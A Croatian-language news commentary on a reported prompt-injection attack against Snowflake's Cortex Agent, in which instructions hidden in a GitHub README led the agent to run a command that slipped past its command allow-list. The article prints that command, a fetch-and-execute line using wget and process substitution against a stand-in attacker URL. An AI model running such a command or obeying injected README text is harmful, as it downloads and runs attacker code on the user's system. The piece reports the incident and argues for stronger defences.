Snowflakeov Cortex pokazuje zašto AI agentima ne smije vjerovati ni običnoj naredbi

Snowflakeov Cortex Agent naučio je grubu lekciju: sandbox zaštita je toliko jaka koliko je jaka najslabija naredba na popisu dopuštenih. Prema izvještaju PromptArmor, napadač je sakrio prompt injection u README datoteku GitHub repozitorija — ispod naizgled korisne dokumentacije koju bi svaki razvojni inženjer bez razmišljanja otvorio.

Napad je eksploatirao komandu cat <<(sh <<(wget -qO- https://ATTACKER_URL.com/bugbot)), koja je prošla kroz loše konfiguriran allow-list u Cortexu. Problem je bio paradoksalan u svojoj jednostavnosti: sistem je tretirao cat kao "sigurnu" naredbu, dopustivši procesnu supstituciju bez dodatne verifikacije. Simon Willison, analitičar koji je incident detaljno dokumentirao, upozorava da je ovo klasičan primjer samoobmanjujuće sigurnosti — zaštita koja izgleda impresivno na papiru, ali se raspada pod stvarnim pritiskom.

Payload nazvan 'bugbot' vjerojatno je omogućio udaljeni pristup ili prikupljanje podataka o sustavu, što otvara širu pitanje o tome koliko AI agenata danas trče po mreži slično ranjivim konfiguracijama.

Ova vrsta slabosti nije tehnološka novost, ali je posebno frapantna jer ukazuje na sistemsku manu u dizajnu AI agenata koji se oslanjaju na statičke zaštitne mehanizme. Rukovodioci iz PromptArmora jasno upozoravaju da allow-listovi za komande nisu dovoljni — tehnologija zahtijeva dublju reviziju sigurnosnih protokola koji pretpostavljaju da poznati alati ne mogu biti zloupotrijebljeni.

Šteta je uglavnom teoretska za sada — napad je prijavljen i ispravljen prije nego što je izazvao veće posljedice. Ipak, demonstrira koliko brzo AI sistemi mogu postati žrtve sigurnosnih iluzija koje se grade na pogrešnoj pretpostavci o kontekstu izvršavanja. Willisonova kritika ne svodi se samo na Snowflake već na cijelu industriju: dopustiti izvršavanje komandi poput cat bez strožih mehanizama zaštite je poput puštanja stranca u kuhinju samo zato što voli pileću supu.

Industrija bi trebala usvojiti princip nulte povjerenja i prestat tretirati bilo koju naredbu kao inherentno sigurnu. Cortexov neuspjeh nije samo tehnički propust — to je filozofijski poraz pristupa koji zanemaruje činjenicu da zloćudni ulazi ne dolaze uvijek u obliku klasičnih napada. AI agenti koji izvršavaju kod moraju razviti dinamičku analizu ponašanja, a ne statičke popise koje napadač može pročitati i zaobići prije nego što napad uopće započne.